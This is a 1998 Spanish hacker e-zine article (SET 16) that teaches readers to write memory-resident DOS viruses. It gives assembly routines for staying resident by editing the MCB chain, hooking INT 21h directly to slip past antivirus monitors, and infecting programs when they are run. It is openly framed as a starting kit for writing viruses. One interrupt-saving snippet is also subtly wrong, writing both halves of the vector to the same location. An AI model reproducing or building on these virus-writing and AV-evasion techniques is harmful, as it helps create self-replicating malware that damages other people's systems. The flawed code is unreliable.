SET 39 Call For Papers

¿Eres un hacker? Si deseas pasar a formar parte de la historia del hacking hispano, colabora con la próxima edición de SET 39 enviándonos un artículo. No esperes más, esta es tu oportunidad de demostrar lo que sabes. Ayúdanos a construir una revista de hackers para hackers. SET Staff

SET 16

109236 visitas

Tutorial para crear virus TSR

      7748

Autor: ThE_WiZArD
-[ 0x0C ]--------------------------------------------------------------------
-[ TUTORIAL PARA CREAR VIRUS TSR ]-------------------------------------------
-[ by ThE_WiZArD ]----------------------------------------------------SET-16-



     .-------------------------------------------------------------.
     |                                                             |
     |      ***** TUTORIAL PARA CREAR TUS VIRUS TSR *****          |
     |                                                             |
     |                  (c) ThE_WiZArD '98                         |
     |                                                             |
     `-------------------------------------------------------------'

  
   En todas las e-zines de habla hispana (Saqueadores incluida) nos 
   encontramos siempre con un gran vacio en el espacio que toda revista
   que se precie deberia dedicar a los virus informaticos o a lo sumo
   con un tutorial "demasiado simplon" sobre como crear virus runtime.
   Como esta muy mal eso de hablar y no hacer nada para evitarlo , 
   aqui cedo este tutorial para empezar a crear virus TSR , es decir 
   virus residentes en memoria.

  
                           Enjoy it !

    
    1. VIRUS RESIDENTES EN MEMORIA
     -----------------------------

 
 Sin duda los virus runtime ya no son muy comunes en estos dias de extrema
 sofistificacion dando ya hace tiempo el relevo a los virus TSR , estos son 
 los virus que se quedan residentes en la memoria del ordenador y que deben 
 interceptar alguna interrupcion de software para poder realizar sus acciones 
 de copia , stealth, etc ...
 
 - Antes de nada y aunque se escapa un poco a los propositos de este texto
    veamos un poco la estructura de la memoria de un PC:       
 
     Bloque        Direccion                Contenido    
    --------      -----------              -----------
    
      15      F000:0000 - F000:FFFF        BIOS-ROM
      14      E000:0000 - E000:FFFF        Libre para cartuchos ROM
      13      D000:0000 - D000:FFFF        Libre para cartuchos ROM
      12      C000:0000 - C000:FFFF        BIOS-ROM adicional
      11      B000:0000 - B000:FFFF        Video RAM
      10      A000:0000 - A000:FFFF        Video RAM adicional (EGA/VGA)
       9      9000:0000 - 9000:FFFF        RAM de 576 KB a 640 KB
       8      8000:0000 - 8000:FFFF        RAM de 512 KB a 576 KB
       7      7000:0000 - 7000:FFFF        RAM de 448 KB a 512 KB
       6      6000:0000 - 6000:FFFF        RAM de 384 KB a 448 KB
       5      5000:0000 - 5000:FFFF        RAM de 320 KB a 384 KB
       4      4000:0000 - 4000:FFFF        RAM de 256 KB a 320 KB
       3      3000:0000 - 3000:FFFF        RAM de 192 KB a 256 KB
       2      2000:0000 - 2000:FFFF        RAM de 128 KB a 192 KB
       1      1000:0000 - 1000:FFFF        RAM de 64  KB a 128 KB
       0      0000:0000 - 0000:FFFF        RAM de 0   KB a 64  KB


  Los primeros 10 segmentos estan reservados para la memoria principal  
  RAM, quedando limitado su tama¤o a 640 KBytes.El segmento 0 tiene un
  papel muy importante ya que en el se incluyen datos y rutinas importantes
  para el Sistema Operativo.
  A la memoria RAM  le sigue el segmento de memoria A, que se instala con 
  una tarjeta grafica EGA/VGA.Sirve de memoria de la estructura de la 
  pantalla en los diferentes modos graficos de estas tarjetas.
  El segmento de memoria B esta asignado a la tarjeta de video monocroma
  de MDA y Hercules asi como tambien a la tarjeta grafica de color CGA.
  Los segmentos de memoria detras de Video RAM no se cargaran con RAM , sino
  con ROM, siendo el segmento C el inicio.
  Los segmentos D y E estaban previstos originalmente para cartuchos ROM,   
  como los que se utilizaban para los ordenadores domesticos y juegos de 
  tele para la aportacion de software en el sistema.Nunca se han utilizado
  realmente, de manera que esta area se mantiene practicamente libre y hoy
  en dia se utiliza como RAM adicional o bien para la insercion de memoria
  EMS.
  Finalmente el bloque F contiene las rutinas del BIOS en si, el cargador 
  original del sistema asi como tambien el ROM-BASIC que solo se conserva
  en los ordenadores viejos.


    2.- EL MCB (Memory Control Block)
     ---------------------------------

 El DOS crea un bloque de control por cada bloque de memoria que use el 
 programa, este bloque de control mide 16 bytes (un parrafo), siempre
 comienza en una direccion de offset divisible por 16, y precede inmediata-
 mente a la zona de memoria alojada.
 A pesar de que el DOS trabaja siempre con la direccion de segmento de la 
 zona alojada en las funciones para la gestion de memoria, la direccion del
 segmento del MCB correspondiente se puede averiguar facilmente simplemente
 restando 1 de la direccion del segmento de la zona de memoria.
 

       ********************
       * Formato del MCB  *
       ********************
      
      Direccion             Contenido                               Tipo
       
       +00h                   ID                                   1 BYTE
                     (Z= ultimo , M= hay mas)
       +01h          Direccion del segmento del PSP asociado       1 WORD
       +03h          N§ de parrafos en la zona de memoria alojada  1 WORD
       +05h          No se usa                                     11 BYTES
       +10h          La zona de memoria alojada                    x PARRAF

                             


        2.1.- USANDO EL DOS PARA MODIFICAR EL MCB
           ---------------------------------------

 En un .COM podemos encontrarnos en  CS - 1  la direccion de este bloque.
 En el offset 3 del mismo esta la cantidad de memoria usada (alojada) por ese 
 programa , entonces para poder dejar residente nuestro virus hay que restar-
 le a ese valor la longitud del virus, luego liberar la memoria que ya no 
 se usa con la funcion 4AH de la INT 21h y asignarla a nuestro programa
 mediante la funcion 48h de la INT 21h.

 Para terminar, marcamos el MCB del segmento al que movimos nuestro virus con
 '8' en el offset 1, para que el DOS piense que es parte suya y no use esa
 memoria. En ese offset se coloca una marca, para identificar al bloque, para
 esta rutina se suele usar '8' porque es el que usa el DOS.

 El codigo que pongo a continuacion sirve para dejar un virus residente
 desde un fichero .COM , si deseamos hacerlo desde un .EXE hay que tener
 en cuenta que debemos restarle 1 a DS y no a CS. (CS <> DS en un .EXE)


<++> set_016/virus/tsrcom.asm
===============================================================================

; Lo primero es pasar a un reg16 (en este caso AX) el Code Segment (PSP) , 
; lo decrementamos y lo pasamos a ES para obterner la memoria reservada por 
; el anfitrion.
        
        mov     ax, cs                  ;Con esto obtenemos el segmento
        dec     ax                      ;del MCB.

        mov     es, ax                  ;Aqui obtenemos la memoria
        mov     ax, es:[3]              ;utilizada.                       

; Ahora restamos a esa cantidad de memoria la cantidad de parrafos que 
; ocupa el virus+1 (que previamente colocaremos en BX) ... ¨Porque mas 1?
; Porque en el momento en que tenemos que restarle un parrafo a la memoria
: que queremos reservar estamos reservando un parrafo menos de virus tambien
; .... :)
        
        sub     ax, bx                  ;En BX esta la longitud del virus,
                                        ;en parrafos.

; Ahora la cantidad de memoria a reservar esta en AX, lo salvamos y lo
; movemos a AX para despues llamar al servicio 4Ah (Liberar memoria Asignada)
; , que debemos llamar con BX, con el nuevo tama¤o y con el segmento en ES.
        
        push    bx                      ;Salvo la cantidad de mem a reservar.
        mov     bx, ax                  ;Le paso la nueva cantidad a BX.
        push    cs 
        pop     es
        mov     ah, 4ah
        int     21h

; Ahora asignamos la memoria liberada al virus, el segmento de la memoria
; asignada queda en AX.Decrementamos BX porque un parrafo lo va a usar el 
; DOS.
        
        pop     bx                      ;Popeo la  cantidad de mem a reservar.
        dec     bx
        mov     ah, 48h
        int     21h

; Decrementamos AX , y lo pasamos a ES, de esta forma conseguimos apuntar
; al parrafo que usa el DOS como control, marcamos en el offset 1 un 8 para
; que el DOS lo considere como parte suya y no utilice esa memoria.
; Despues incrementamos AX otra vez y lo pasamos a ES, para que ES quede 
; apuntando a la memoria que el virus usara.
        
        dec     ax
        mov     es, ax
        mov     word ptr es:[1], 8
        mov     word ptr es:[8],'XX'           ;Opcional, un nombre al bloque.
        inc     ax
        mov     es, ax

        push    cs                             ;CS=DS
        pop     ds

        mov     cx,Virus_Size                  ;Virus Size
        xor     di,di                          ;DI=0
        mov     si,bp                          ;SI=Primer byte del virus
        rep     movsb                          ;Vamos a memoria
<-->


  
        2.2.- MODIFICANDO EL MCB DIRECTAMENTE    
           ------------------------------------
     
     Mediante esta tecnica evitamos llamar al S.O para modificar el MCB,
  con lo que podemos saltarnos algunas protecciones antiviricas.
  Esta rutina sirve para virus infectores de .EXE ;)


<++> set_016/virus/tsrexe.asm
===============================================================================

; Lo primero es pasar a un reg16 (en este caso AX) el Code Segment (PSP) , 
; lo decrementamos y lo pasamos a ES para obterner la memoria reservada por 
; el anfitrion.
        
        mov     ax,ds                      ;DS=PSP
        dec     ax
        mov     ds,ax                      ;Ahora DS=MCB

;  Esto es porque el MCB oculta un parrafo (16 bytes) delante del PSP.

        cmp     ds:[0],'Z'                 ;Buscamos un Bloque Z porque es el 
        jne     Exit                       ;ultimo
        
        sub     ds:[3],memory_we_want/16+1 ;El numero de parrafos de nuestro
                                           ;virus 

; Ahora el DOS piensa que ha perdido esa memoria
   
        sub     ds:[12h],memory_we_want/16+1

                                           ;DS:[12h] ahora tiene el segmen-
                                           ;to donde pondremos el virus.   

        mov     ax,word ptr ds:[12h]
        mov     es,ax                     ;ES=Direccion donde copiar el virus
        
        push    cs
        pop     ds                        ;DS=CS
        
        xor     di,di
        mov     si,bp                     ;SI=Comienzo del virus 
        mov     cx,Virus_Size             ;Cantidad de bytes a mover.
        
        rep     movsb                     ;Mueve CX bytes de DS:SI a ES:DI
<-->

        
    
    3.- INTERCEPTANDO INTERRUPCIONES
     --------------------------------
  
 Bien, una vez nuestro virus esta en memoria es necesario "interceptar" 
 alguna interrupcion para que este se active en algun momento y pueda 
 realizar sus acciones.

 La tabla de interrupciones esta localizada en memoria desde la posicion
 0000:0000 hasta la 0000:0400h (o 0040:0000), justo detras de la zona de
 Informacion de la BIOS.Consiste en 256 dobles palabras, representadas
 de forma SEGMENTO:OFFSET.
 
 Cuando una interrupcion es llamada ocurren estas dos cosas:

     1- Los Flags se pulsan en el Stack.
     2- Se realiza un FAR CALL al SEGMENTO:OFFSET que se haya en la tabla
        de interrupciones.
  
 El procesador busca en la tabla de interrupciones la direccion a llamar, 
 asi el procesador busca en la tabla de interrupciones la direccion del 
 handler de la Interrupcion XX (desde 0 hasta 255); el segmento es 0000h
 y el offset  Numero_de_interrupcion * 4.La tabla de interrupciones esta
 colocada en el "Intel reverse double word format" , esto es , primero el
 OFFSET y luego el SEGMENTO.

 Para volver de una interrupcion, se usa la instruccion IRET. Esta instruc-
 cion realiza los pasos contrarios a los de arriba. Realiza un RETF para 
 volver a la direccion anterior y un POPF para restaurar los flags.

 Cuando un programa "captura" una interrupcion, osea, la redirige hacia la 
 suya propia , tienen que cambiar los datos de la tabla de interrupciones.
 Esto se puede hacer usando el DOS o modificandola directamente.



        3.1.- USANDO EL DOS PARA MODIFICAR INTERRUPCIONES 
           -----------------------------------------------
  
  El DOS nos provee de dos llamadas que nos permiten hacer esto con suma
 facilidad, estas son la 35h y la 25h de la Interrupcion 21h.

     MOV AX,3521H                  ;Esta funcion nos devuelve el vector
     INT 21H                       ;de la INT 21h
    
     MOV CS:[Old_21h],ES           ;en  ES:BX
     MOV CS:[Old_21h+2],BX         ;lo guardamos.

     MOV AX,2521h                  ;Situamos nueva INT 21h.
     MOV DX,OFFSET INT21_VIR       ;Apuntando a nuestro HANDLE.
     INT 21H
     ...
     ...
  
 INT21_VIR: 
          cmp ax,4b00h             ;Esto es un ejemplo de una INT 21h virica.
          je  Infectar             ;que infectaria al ejecutar los files.
          ...
          ...

 EXIT_INT: db 0eah                 ;0eAh = JMP FAR (salto largo)

 Old_21    dw ?,?                  ;Direcion de la Antigua INT 21h


        3.2.- EVITANDO EL DOS PARA MODIFICAR INTERRUPCIONES
           -------------------------------------------------
 
 Bien, yo soy mas partidario de modificar las interrupciones de esta forma
 ya que nos permite pasar mas desapercibidos ante los AV`s y demas protec-
 tores residentes.

 Ojo, que es muy importante hacerlo de esta manera si queremos infectar
 el fichero COMMAND.COM , no podremos usar las funciones 35h y 25h de la int
 21h si el interprete de comandos aun no ha sido cargado !!

 Debes tener el cuidado de INHABILITAR las interrupciones antes de modificar
 la INT y HABILITARLAS despues, sino, la interrupcion podria ser llamada 
 mientras se esta modificando ... con resultados desastrosos 8-)
 
 Esto podria ser algo asi:

    xor  ax,ax
    mov  es,ax                                  ;ES= 0
    mov  ax,es:[21*4]                           ;ax=es:[84]
    mov  WORD PTR cs:[Old_21h],ax               ;Guardamos el segmento
    mov  ax,es:[21*4+2]                         ;ax=es:[86]
    mov  WORD PTR cs:[Old_21h],ax               ;Guardamos el offset

    cli                                         ;Inhabilita INTs
    mov  WORD PTR es:[21*4],OFFSET INT21_VIR    ;Situamos nuestra INT 21h
    mov  es:[21*4+2],cs                        
    sti                                         ;Habilita INTs

 
        3.3.- CONSEJOS A TENER EN CUENTA EN TU VIRUS TSR
           ----------------------------------------------

  
  A)  Asegurate de GUARDAR/RESTAURAR (push/pop) todos los registros  
      que vayas a usar y que por lo tanto cambien.(Tambien puedes salvar
      los flags)

  B)  Asegurate de que en tu handle no llamas a una funcion que ya
      ha sido intercepatada, esto es, si tu quieres que tu virus infecte
      al cambiar atributos AH=43h , y luego quieres borrarle los atributos
      del fichero a infectar , NO PUEDES llamar a  43h para cambiar los
      atributos  ¨logico no ? .. tendras que hacer una llamada FALSA 
      a la interrupcion en cuestion, por ejemplo :


                mov  ax,4300h
                call Call_Int_21h
                ...  
  
  Call_Int_21h:
                pushf                           ;Salvamos los flags y hacemos
                call dword ptr [Int_21_Offset]  ;un Far Call para simular 
                popf                            ;una llamada a la Interrupcion .
                ret


  
    4.- CONCLUSION
     ---------------
      
  Bien, supongo que esto es suficiente para empezar a crear algun que
  otro virus "interesante", si teneis alguna duda o quereis poneros
  en contacto conmigo usad mi clave publica de PGP incluida en la revista
  
                   
      
      
      ThE_WiZArD
  wizard555@hotmail.com

   
   -= Information is the greatest weapon of power to the modern wizard =-